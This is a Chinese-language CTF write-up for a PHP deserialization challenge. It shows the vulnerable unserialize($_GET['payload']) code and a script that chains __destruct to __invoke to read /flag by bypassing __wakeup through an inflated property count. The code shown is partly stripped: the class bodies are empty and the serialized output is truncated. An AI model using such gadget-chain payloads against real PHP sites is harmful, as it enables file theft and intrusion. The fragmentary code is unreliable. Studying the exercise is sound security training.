成理信安協會題目反序列化03

2022-09-02 07:57:08 字數 1619 閱讀 9640

就如這道題在最開始面板上說的一樣,你真的了解反序列化了嗎?

這道題就是在看你是不是真的了解了魔術方法怎麼觸發,起到什麼作用?

<?php 

show_source(__file__);

class cdutsec1

function __wakeup() // hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug

function __invoke()

function __tostring()

function __get($function)

function __call($a, $b)

}class cdutsec2

}@unserialize($_get['payload']);

所以__tosring無法觸發。審計發現,cdutsec2中的析構函式__destruct執行時正好把類成員function當作函式來呼叫,正好可以觸發__invoke。所以我們可以把cdutsec1序列化後作為cdutsec2中$function的值再次序列化即可。

但cdutsec1中在觸發__invoke之前因為反序列化__weakup先觸發並把我們傳入的$file覆蓋,因此我們需要繞過__weakup。利用的漏洞也很簡單,只需要把序列化字串表示類成員數量的數字改大(大於實際數)即可繞過。本例中,改cdutsec2與巢狀的cdutsec1都可以。

<?php 

class cdutsec1

// function __wakeup() // hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug //實際上版本並沒有大於。

//

// function __invoke()

//

// function __tostring()

//

// function __get($function)

//

// function __call($a, $b)

}class cdutsec2

}$tr = new cdutsec1();

$tr->file = '/flag';

$sr = new cdutsec2();

$sr->function = $tr;

echo serialize($sr);

說一句,序列化指令碼中類只需要定義成員,其他魔術方法直接注掉就完了,沒影響,不注掉有時候還會警告和報錯

跑出來是o:8:"cdutsec2":1:},然後改大類成員數。

總結就是,你要從這道簡單的反序列化題中真正了解魔術方法的觸發方式,不同的觸發順序,當你真正了解之後,就發現這道題是多麼基礎。